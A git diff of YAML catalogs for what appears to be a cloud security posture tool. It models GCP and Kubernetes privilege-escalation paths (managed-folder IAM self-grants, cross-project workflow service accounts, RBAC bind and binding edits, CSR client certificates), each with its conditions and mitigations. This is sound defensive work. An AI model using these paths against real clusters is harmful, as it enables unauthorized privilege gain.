Source: hacktricks-cloud gcp-privilege-escalation/gcp-secure-source-manager-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: sourcerepo_trigger_consumer -> run-as SA of Cloud Build triggers / Cloud Deploy pipelines that build +# from the repository in "{target.artifact_arn}" (directly or through Developer Connect). [] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/sourcerepos.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/sourcerepos.yaml index 1372fc421a..6ec8503379 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/sourcerepos.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/sourcerepos.yaml @@ -1,7 +1,8 @@ # Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. # GCP Cloud Source Repositories privilege escalation techniques (legacy service, unavailable to new customers). # Source: hacktricks-cloud gcp-privilege-escalation/gcp-sourcerepos-privesc.md (rev 171e422). -# gcp_sourcerepo_trigger_path joins a collected repository to a push trigger and its exact build service account. +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml (attached_to_service sourcerepo_trigger_consumer +# as defined in securesourcemanager.yaml). - id: gcp-sourcerepos-update-build-trigger provider: gcp service: source diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/storage.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/storage.yaml index d1d32d18f6..0b4230c4ab 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/storage.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/storage.yaml @@ -80,37 +80,6 @@ references: - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions -- id: gcp-storage-managedfolders-setiampolicy-dataproc-init - provider: gcp - service: storage - title: Self-grant write access to a Dataproc initialization script folder - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant - source_revision: 6fb9ac51fd - summary: The source may grant itself write access to a managed folder holding a Dataproc initialization script that could run again on a new cluster node. - requires: - all_of: - - action: storage.managedFolders.setIamPolicy - resource: '{target.dataproc_init_managed_folder}' - target: - kind: gcp_service_account - selector: - attached_to_service: dataproc_cluster - scope: any - aggregate_as: SAs of Dataproc clusters with an initialization script in a writable managed folder - conditions: - - id: exact_init_script_folder - description: The collected initialization action must name a GCS object in the exact managed folder, and the bucket must use uniform bucket-level access. - - id: future_node_startup - description: A new cluster node must load the modified script after the folder grant and object replacement. - - id: followup_object_replace - description: The self-granted role must permit replacement of the referenced object, subject to holds and retention. - blockers: [gcp_deny_policy, vpc_sc_perimeter] - confidence: conditional - severity: high - mitigation: Restrict managed-folder IAM changes on paths holding Dataproc initialization scripts. - references: - - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions - - https://docs.cloud.google.com/managed-spark/docs/concepts/configuring-clusters/init-actions - id: gcp-storage-buckets-setiampolicy-composer provider: gcp service: storage @@ -146,40 +115,6 @@ severity: critical mitigation: Restrict storage.buckets.setIamPolicy (roles/storage.admin) on Composer and other code-bearing buckets. notes: Dataproc staging and unpinned Cloud Build StorageSource consumers are modelled by gcp-storage-buckets-setiampolicy-code-consumers; function source and App Engine staging bucket techniques are race-conditional and not duplicated here. -- id: gcp-storage-managedfolders-setiampolicy-composer - provider: gcp - service: storage - title: Self-grant Composer DAG write access through a managed-folder IAM policy - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant - source_revision: 6fb9ac51fd - summary: The source may grant itself write access to a Composer DAG prefix when it can change the IAM policy of a managed folder covering that prefix. - requires: - all_of: - - action: storage.managedFolders.setIamPolicy - resource: '{target.composer_dag_managed_folder}' - target: - kind: gcp_service_account - selector: - attached_to_service: composer_environment - gcp_composer_storage_policy_path: managed_folder - scope: any - aggregate_as: SAs of Composer environments with a potentially writable DAG managed folder - conditions: - - id: managed_dag_folder - description: The bucket must use uniform bucket-level access and an existing managed folder must contain or sit inside the Composer DAG prefix; the permission must apply to that exact folder. - - id: followup_write - description: The new folder binding must grant object creation under dags/ so the scheduler loads the new DAG. - - id: allowed_member_domains - description: An external source may be prevented from adding itself to the folder policy by the allowed-member-domains organization policy. - blockers: - - gcp_deny_policy - - vpc_sc_perimeter - confidence: conditional - severity: critical - mitigation: Limit managed-folder IAM policy changes on Composer DAG prefixes to environment administrators. - references: - - https://docs.cloud.google.com/storage/docs/creating-managing-managed-folders - - https://docs.cloud.google.com/composer/docs/composer-3/access-control - id: gcp-storage-cloudbuild-unpinned-storagesource-poison provider: gcp service: storage @@ -217,3 +152,68 @@ - https://docs.cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/retry - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions notes: No cloudbuild.builds.create or actAs is needed when another principal retries the vulnerable build. The model derives an exact target only for a collected build with an explicit service account; future automation and default build identities remain unresolved. +- id: gcp-storage-managedfolders-setiampolicy-dataproc-init + provider: gcp + service: storage + title: Self-grant write access to a Dataproc initialization script folder + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant + source_revision: 6fb9ac51fd + summary: The source may grant itself write access to a managed folder holding a Dataproc initialization script that could run again on a new cluster node. + requires: + all_of: + - action: storage.managedFolders.setIamPolicy + resource: '{target.dataproc_init_managed_folder}' + target: + kind: gcp_service_account + selector: + attached_to_service: dataproc_cluster + scope: any + aggregate_as: SAs of Dataproc clusters with an initialization script in a writable managed folder + conditions: + - id: exact_init_script_folder + description: The collected initialization action must name a GCS object in the exact managed folder, and the bucket must use uniform bucket-level access. + - id: future_node_startup + description: A new cluster node must load the modified script after the folder grant and object replacement. + - id: followup_object_replace + description: The self-granted role must permit replacement of the referenced object, subject to holds and retention. + blockers: [gcp_deny_policy, vpc_sc_perimeter] + confidence: conditional + severity: high + mitigation: Restrict managed-folder IAM changes on paths holding Dataproc initialization scripts. + references: + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + - https://docs.cloud.google.com/managed-spark/docs/concepts/configuring-clusters/init-actions +- id: gcp-storage-managedfolders-setiampolicy-composer + provider: gcp + service: storage + title: Self-grant Composer DAG write access through a managed-folder IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant + source_revision: 6fb9ac51fd + summary: The source may grant itself write access to a Composer DAG prefix when it can change the IAM policy of a managed folder covering that prefix. + requires: + all_of: + - action: storage.managedFolders.setIamPolicy + resource: '{target.composer_dag_managed_folder}' + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + gcp_composer_storage_policy_path: managed_folder + scope: any + aggregate_as: SAs of Composer environments with a potentially writable DAG managed folder + conditions: + - id: managed_dag_folder + description: The bucket must use uniform bucket-level access and an existing managed folder must contain or sit inside the Composer DAG prefix; the permission must apply to that exact folder. + - id: followup_write + description: The new folder binding must grant object creation under dags/ so the scheduler loads the new DAG. + - id: allowed_member_domains + description: An external source may be prevented from adding itself to the folder policy by the allowed-member-domains organization policy. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Limit managed-folder IAM policy changes on Composer DAG prefixes to environment administrators. + references: + - https://docs.cloud.google.com/storage/docs/creating-managing-managed-folders + - https://docs.cloud.google.com/composer/docs/composer-3/access-control diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/wif.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/wif.yaml index cd0eb499c4..9e4fcbe368 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/wif.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/wif.yaml @@ -2,10 +2,9 @@ # GCP Workload Identity Federation privilege escalation techniques. # Source: hacktricks-cloud gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md (rev 171e422). # Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. -# Provider creation and update each join exact active resources, pool-wide service-account -# token bindings, and source permissions on the matching pool or provider. -# Restore paths still require separate provider-state and trust joins. Direct grants to federated principals -# need a distinct target kind. +# "{target.host_resource}" = the workload identity pool. attached_to_service: wif_pool_bound -> service accounts that grant +# roles/iam.workloadIdentityUser to principal:// or principalSet:// members of that pool. Roles bound directly to pool +# principals (federated principal as a node) need the gcp_federated_principal kind (SCHEMA EXTENSIONS). - id: gcp-wif-provider-create provider: gcp service: iam diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/workflows.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/workflows.yaml index 9322dc4272..ba27063c2d 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/workflows.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/workflows.yaml @@ -42,44 +42,6 @@ references: - https://cloud.google.com/workflows/docs/authentication -- id: gcp-workflows-create-cross-project-actas - provider: gcp - service: workflows - title: Deploy and execute a workflow with a cross-project service account - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowscreate--iamserviceaccountsactas--workflowsexecutionscreate--deploy-code-under-a-service-account - source_revision: 171e422 - summary: The source may run workflow connector and OAuth steps as a service account from another project when its project allows cross-project attachment and the Workflows service agent can mint its tokens. - requires: - all_of: - - action: iam.serviceAccounts.actAs - resource: "{target.email}" - - action: workflows.workflows.create - resource: "*" - - action: workflows.executions.create - resource: "*" - target: - kind: gcp_service_account - selector: - gcp_actas_granted_on_target: true - gcp_cross_project_workflows: true - scope: any - aggregate_as: "Service accounts usable by workflows in another project" - conditions: - - id: cross_project_service_agent - description: The workflow project's Workflows service agent needs Service Account Token Creator on the target service account. - - id: cross_project_org_policy - description: The target service account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. - - id: api_level - description: The workflow can make selected OAuth-authenticated Google API calls as the service account; it does not return a raw account token to the source. - blockers: - - gcp_deny_policy - - vpc_sc_perimeter - confidence: conditional - severity: critical - mitigation: Keep cross-project attachment and service-agent token grants limited to intended workflow projects and service accounts. - references: - - https://cloud.google.com/workflows/docs/authentication - - id: gcp-workflows-update-actas provider: gcp service: workflows @@ -170,3 +132,40 @@ severity: high mitigation: Treat workflows.workflows.update as equivalent to use of the workflow SA; restrict roles/workflows.editor/admin. notes: HackTricks states that if another principal starts the new revision the attacker needs only the update permission. +- id: gcp-workflows-create-cross-project-actas + provider: gcp + service: workflows + title: Deploy and execute a workflow with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowscreate--iamserviceaccountsactas--workflowsexecutionscreate--deploy-code-under-a-service-account + source_revision: 171e422 + summary: The source may run workflow connector and OAuth steps as a service account from another project when its project allows cross-project attachment and the Workflows service agent can mint its tokens. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: workflows.workflows.create + resource: "*" + - action: workflows.executions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_workflows: true + scope: any + aggregate_as: "Service accounts usable by workflows in another project" + conditions: + - id: cross_project_service_agent + description: The workflow project's Workflows service agent needs Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The target service account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. + - id: api_level + description: The workflow can make selected OAuth-authenticated Google API calls as the service account; it does not return a raw account token to the source. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Keep cross-project attachment and service-agent token grants limited to intended workflow projects and service accounts. + references: + - https://cloud.google.com/workflows/docs/authentication diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded.yaml index aa2c4bfd7f..330813ec23 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded.yaml @@ -708,3 +708,16 @@ SCC grant and resulting admitted privileged Pod are not joined to a schedulable node. Namespace annotation plus TaskRun permission alone does not prove a node path. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + technique: Bind an arbitrary Role or ClusterRole through an existing or new binding + reason: The active namespace path is limited to creating a RoleBinding for the + exact cluster-admin ClusterRole. Other roles need a collected role-rule to + newly granted permission join, and patch/update need the exact existing + binding joined to that role and source subject. A generic bind grant alone + cannot prove access to every ServiceAccount. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bindings-and-aggregated-clusterroles + technique: Aggregate into a ClusterRole bound only through a RoleBinding + reason: A RoleBinding confines the added rules to its namespace, so it cannot + establish the cluster-admin target of the active cluster-wide aggregation + technique. A separate namespace-scoped permission target needs the bound + RoleBinding namespace and exact added-rule join. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_ci_cd.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_ci_cd.yaml new file mode 100644 index 0000000000..a9cbdff8b5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_ci_cd.yaml @@ -0,0 +1,16 @@ +# Reviewed source techniques without a supported principal escalation edge. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#git-action-runner + source_revision: 0b36331 + technique: Read AWS/GCP metadata from self-hosted runner + reason: The self-hosted runner must actually run attacker-controlled code and expose a reachable AWS/GCP + metadata identity; GitHub runner-to-host and cloud-role bindings are missing. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#exploitation-benefits + source_revision: 0b36331 + technique: Select more privileged runner/agent and steal metadata identity + reason: Requires control of runner scheduling or code execution on a host with reachable metadata credentials. + CI scheduling and host identity binding are not collected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#agent-cloud-pivoting + source_revision: 0b36331 + technique: Read AWS/Azure/GCP metadata or Kubernetes SA token on agent + reason: Requires code on a TeamCity agent and reachable cloud metadata or Kubernetes SA token tied to that + agent. Existing K8s pod rules have a different source permission; TeamCity agent placement is uncollected. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/openshift.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/openshift.yaml index 38915ec337..1b7f4ea711 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/k8s/openshift.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/openshift.yaml @@ -7,7 +7,7 @@ # OpenShift-specific techniques (SCC, privileged projects, run-level label, Tekton); each needs the # k8s_openshift_cluster precondition. The dangling ServiceAccount reference lives in rbac.yaml. # Conventions: see header of rbac.yaml. "Host SCC" = an SCC that allows privileged containers or -# host directory volumes (default: privileged, hostaccess, hostmount-anyuid, +# host directory volumes / host PID (default: privileged, hostaccess, hostmount-anyuid, # node-exporter); custom SCCs with allowPrivilegedContainer or allowHostDirVolumePlugin qualify. # Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/rbac.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/rbac.yaml index 0567637554..2df1097c90 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/k8s/rbac.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/rbac.yaml @@ -505,142 +505,6 @@ - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update notes: A RoleBinding grants cluster-admin rules only inside its namespace. This entry requires create; separate entries join other Roles and existing bindings to their exact permissions. -- id: k8s-rbac-bind-existing-role-new-permission - provider: k8s - service: rbac - title: Bind an existing Role or ClusterRole that grants a new permission - source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind - source_revision: 2415fadfbd - summary: The source can create a RoleBinding to an existing Role or ClusterRole whose collected rules grant at least one concrete permission the source does not already hold in that namespace. - requires: - all_of: - - verb: create - resource: rolebindings - api_group: rbac.authorization.k8s.io - namespace: "{target.namespace}" - target: - kind: k8s_verified_authority - selector: - k8s_bound_role_gain: true - scope: cluster - outcome: permission_grant - grants: ["The exact collected Role or ClusterRole permissions in the binding namespace"] - aggregate_as: "New permissions from an existing RoleBinding target" - conditions: - - id: exact_role_and_new_permission - description: The selected Role must exist, the source must have bind on it, and a concrete rule must grant a permission not already held by the source in the binding namespace. - blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] - confidence: derived - severity: high - mitigation: Avoid combining RoleBinding creation with bind on roles that grant sensitive actions; restrict bind to specific low-privilege roles. - references: - - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update - notes: This is a permission gain bounded to the named Role and namespace. It does not claim the source becomes another ServiceAccount. Missing RBAC inventory keeps a possible route conditional, and a complete inventory with no new permission produces no edge. - -- id: k8s-rbac-modify-existing-rolebinding-new-permission - provider: k8s - service: rbac - title: Add the source to an existing RoleBinding that grants a new permission - source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind - source_revision: 2415fadfbd - summary: An existing RoleBinding points to a collected Role or ClusterRole with a permission the source lacks, and the source can add itself to that exact binding. - requires: - any_of: - - - verb: patch - resource: rolebindings - api_group: rbac.authorization.k8s.io - namespace: "{target.namespace}" - - - verb: update - resource: rolebindings - api_group: rbac.authorization.k8s.io - namespace: "{target.namespace}" - target: - kind: k8s_verified_authority - selector: - k8s_existing_rolebinding_gain: true - scope: cluster - outcome: permission_grant - grants: ["The exact collected Role or ClusterRole permissions in the binding namespace"] - aggregate_as: "New permissions from an existing RoleBinding" - conditions: - - id: exact_existing_binding_and_new_permission - description: A collected RoleBinding must point to the selected Role, the source must be able to modify that binding and bind the exact Role, and a concrete rule must add a permission the source lacks. - blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] - confidence: derived - severity: high - mitigation: Limit writes to RoleBindings and bind access to roles that grant sensitive permissions. - references: - - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update - notes: A RoleBinding roleRef cannot be changed. The selector joins the existing binding to its current Role and verifies patch or update on that exact binding. Missing or uncertain RBAC facts keep the path conditional. - -- id: k8s-rbac-bind-existing-clusterrole-new-permission - provider: k8s - service: rbac - title: Bind an existing ClusterRole that grants a new cluster-wide permission - source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind - source_revision: 2415fadfbd - summary: The source can create a ClusterRoleBinding to an existing ClusterRole whose collected rules grant a concrete cluster-wide permission the source does not already hold. - requires: - all_of: - - verb: create - resource: clusterrolebindings - api_group: rbac.authorization.k8s.io - namespace: "*" - target: - kind: k8s_verified_authority - selector: - k8s_clusterrolebinding_gain: true - scope: cluster - outcome: permission_grant - grants: ["The exact collected ClusterRole permissions across the cluster"] - aggregate_as: "New cluster-wide permissions from an existing ClusterRole" - conditions: - - id: exact_clusterrole_and_new_permission - description: The ClusterRole must exist, the source must have bind on it, and a concrete rule must grant a cluster-wide permission the source lacks. - blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] - confidence: derived - severity: high - mitigation: Avoid combining ClusterRoleBinding creation with bind on roles that grant sensitive actions. - references: - - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update - notes: The gained permissions are bounded to the exact ClusterRole rules. The route does not claim another identity's access. - -- id: k8s-rbac-modify-existing-clusterrolebinding-new-permission - provider: k8s - service: rbac - title: Add the source to an existing ClusterRoleBinding that grants a new permission - source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind - source_revision: 2415fadfbd - summary: An existing ClusterRoleBinding points to a collected ClusterRole with a cluster-wide permission the source lacks, and the source can add itself to that exact binding. - requires: - any_of: - - - verb: patch - resource: clusterrolebindings - api_group: rbac.authorization.k8s.io - namespace: "*" - - - verb: update - resource: clusterrolebindings - api_group: rbac.authorization.k8s.io - namespace: "*" - target: - kind: k8s_verified_authority - selector: - k8s_existing_clusterrolebinding_gain: true - scope: cluster - outcome: permission_grant - grants: ["The exact collected ClusterRole permissions across the cluster"] - aggregate_as: "New cluster-wide permissions from an existing ClusterRoleBinding" - conditions: - - id: exact_existing_cluster_binding_and_new_permission - description: A collected ClusterRoleBinding must point to the selected ClusterRole, the source must be able to modify that binding and bind the exact role, and a concrete rule must add a cluster-wide permission the source lacks. - blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] - confidence: derived - severity: high - mitigation: Limit ClusterRoleBinding writes and bind access to roles that grant sensitive permissions. - references: - - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update - notes: The selector joins the existing binding to its immutable roleRef and verifies patch or update on that exact binding. Uncertain RBAC facts keep the path conditional. - - id: k8s-rbac-escalate-bound-clusterrole provider: k8s service: rbac @@ -723,44 +587,6 @@ - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update notes: HackTricks (171e422) documents aggregation into an already-bound ClusterRole (lab adds patch on one ConfigMap to view) and states the caller still needs the proposed rules or escalate. Without escalate the source can only aggregate rules it already holds, which is not an escalation. -- id: k8s-rbac-escalate-aggregating-clusterrole-namespace - provider: k8s - service: rbac - title: Add rules to a ClusterRole bound to the source in a namespace - source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bindings-and-aggregated-clusterroles - source_revision: 2415fadfbd - summary: The source can create a ClusterRole whose labels feed an aggregated ClusterRole bound to it through a RoleBinding, adding workload and token rights in that binding's namespace. - source_selector: - source_bound_to_aggregated_clusterrole: namespace - requires: - all_of: - - verb: create - resource: clusterroles - api_group: rbac.authorization.k8s.io - namespace: "*" - - verb: escalate - resource: clusterroles - api_group: rbac.authorization.k8s.io - namespace: "*" - target: - kind: k8s_service_account - selector: - k8s_aggregated_rolebinding_namespace: true - k8s_aggregation_new_role_path: true - scope: cluster - aggregate_as: "ServiceAccounts in an aggregated RoleBinding namespace" - conditions: - - id: namespace_aggregate_binding_and_controller - description: A collected RoleBinding must give the source an aggregated ClusterRole in the target namespace, and the aggregation controller must add the source-created rules that permit workload or token access. - blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] - confidence: conditional - severity: high - mitigation: Do not combine ClusterRole creation and escalate with an aggregated ClusterRole already bound to the same principal. - references: - - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles - - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update - notes: A RoleBinding limits the added rules to its namespace. Without escalate or prior ownership of the proposed rules, the new ClusterRole cannot add permissions that the source did not already hold. - - id: k8s-rbac-escalate-bound-role-namespace provider: k8s service: rbac @@ -845,46 +671,6 @@ - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers notes: HackTricks reproduced on v1.37 that this signer refused a CSR requesting system:masters, so cluster-admin through that group is NOT claimed. ServiceAccount usernames are covered by k8s-rbac-csr-kube-apiserver-client-serviceaccount. Client certificates cannot be revoked short of rotating the CA. -- id: k8s-rbac-csr-kube-apiserver-client-serviceaccount - provider: k8s - service: certificates - title: Issue and approve a client certificate for a bound ServiceAccount username - source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests - source_revision: 2415fadfbd - summary: The source can request a client certificate whose common name matches a ServiceAccount username already named in RBAC, then approve and read the signed certificate. - requires: - all_of: - - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} - - any_of: - - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} - - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} - - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} - - any_of: - - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} - - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} - - any_of: - - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client"} - - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} - target: - kind: k8s_service_account - selector: - k8s_csr_sa_subject: true - k8s_csr_same_name_path: true - scope: cluster - aggregate_as: "ServiceAccount usernames bound in RBAC in {cluster}" - conditions: - - id: kube_apiserver_client_signer_enabled - description: The controller-manager must sign certificates for kubernetes.io/kube-apiserver-client and accept the requested subject. - - id: client_cert_auth_honored - description: The API server must accept the issued client certificate and its ServiceAccount username. - blockers: [] - confidence: conditional - severity: critical - mitigation: Restrict CSR creation, approval and signer approval to separate trusted operators. - references: - - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers - notes: A client certificate authenticates as its common-name username, so an RBAC ServiceAccount subject matches even when the ServiceAccount object is absent. ServiceAccount group bindings require the corresponding certificate organization and are covered by the group CSR technique. This path includes only ServiceAccount usernames with collected direct RBAC bindings. - - id: k8s-rbac-csr-kube-apiserver-client-group provider: k8s service: certificates @@ -1062,3 +848,216 @@ confidence: conditional severity: high mitigation: Do not combine escalate and edit authority on roles bound to the editor. +- id: k8s-rbac-bind-existing-role-new-permission + provider: k8s + service: rbac + title: Bind an existing Role or ClusterRole that grants a new permission + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: The source can create a RoleBinding to an existing Role or ClusterRole whose collected rules grant at least one concrete permission the source does not already hold in that namespace. + requires: + all_of: + - verb: create + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + target: + kind: k8s_verified_authority + selector: + k8s_bound_role_gain: true + scope: cluster + outcome: permission_grant + grants: ["The exact collected Role or ClusterRole permissions in the binding namespace"] + aggregate_as: "New permissions from an existing RoleBinding target" + conditions: + - id: exact_role_and_new_permission + description: The selected Role must exist, the source must have bind on it, and a concrete rule must grant a permission not already held by the source in the binding namespace. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Avoid combining RoleBinding creation with bind on roles that grant sensitive actions; restrict bind to specific low-privilege roles. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: This is a permission gain bounded to the named Role and namespace. It does not claim the source becomes another ServiceAccount. Missing RBAC inventory keeps a possible route conditional, and a complete inventory with no new permission produces no edge. + +- id: k8s-rbac-modify-existing-rolebinding-new-permission + provider: k8s + service: rbac + title: Add the source to an existing RoleBinding that grants a new permission + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: An existing RoleBinding points to a collected Role or ClusterRole with a permission the source lacks, and the source can add itself to that exact binding. + requires: + any_of: + - - verb: patch + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - - verb: update + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + target: + kind: k8s_verified_authority + selector: + k8s_existing_rolebinding_gain: true + scope: cluster + outcome: permission_grant + grants: ["The exact collected Role or ClusterRole permissions in the binding namespace"] + aggregate_as: "New permissions from an existing RoleBinding" + conditions: + - id: exact_existing_binding_and_new_permission + description: A collected RoleBinding must point to the selected Role, the source must be able to modify that binding and bind the exact Role, and a concrete rule must add a permission the source lacks. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Limit writes to RoleBindings and bind access to roles that grant sensitive permissions. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: A RoleBinding roleRef cannot be changed. The selector joins the existing binding to its current Role and verifies patch or update on that exact binding. Missing or uncertain RBAC facts keep the path conditional. + +- id: k8s-rbac-bind-existing-clusterrole-new-permission + provider: k8s + service: rbac + title: Bind an existing ClusterRole that grants a new cluster-wide permission + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: The source can create a ClusterRoleBinding to an existing ClusterRole whose collected rules grant a concrete cluster-wide permission the source does not already hold. + requires: + all_of: + - verb: create + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_verified_authority + selector: + k8s_clusterrolebinding_gain: true + scope: cluster + outcome: permission_grant + grants: ["The exact collected ClusterRole permissions across the cluster"] + aggregate_as: "New cluster-wide permissions from an existing ClusterRole" + conditions: + - id: exact_clusterrole_and_new_permission + description: The ClusterRole must exist, the source must have bind on it, and a concrete rule must grant a cluster-wide permission the source lacks. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Avoid combining ClusterRoleBinding creation with bind on roles that grant sensitive actions. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: The gained permissions are bounded to the exact ClusterRole rules. The route does not claim another identity's access. + +- id: k8s-rbac-modify-existing-clusterrolebinding-new-permission + provider: k8s + service: rbac + title: Add the source to an existing ClusterRoleBinding that grants a new permission + source: 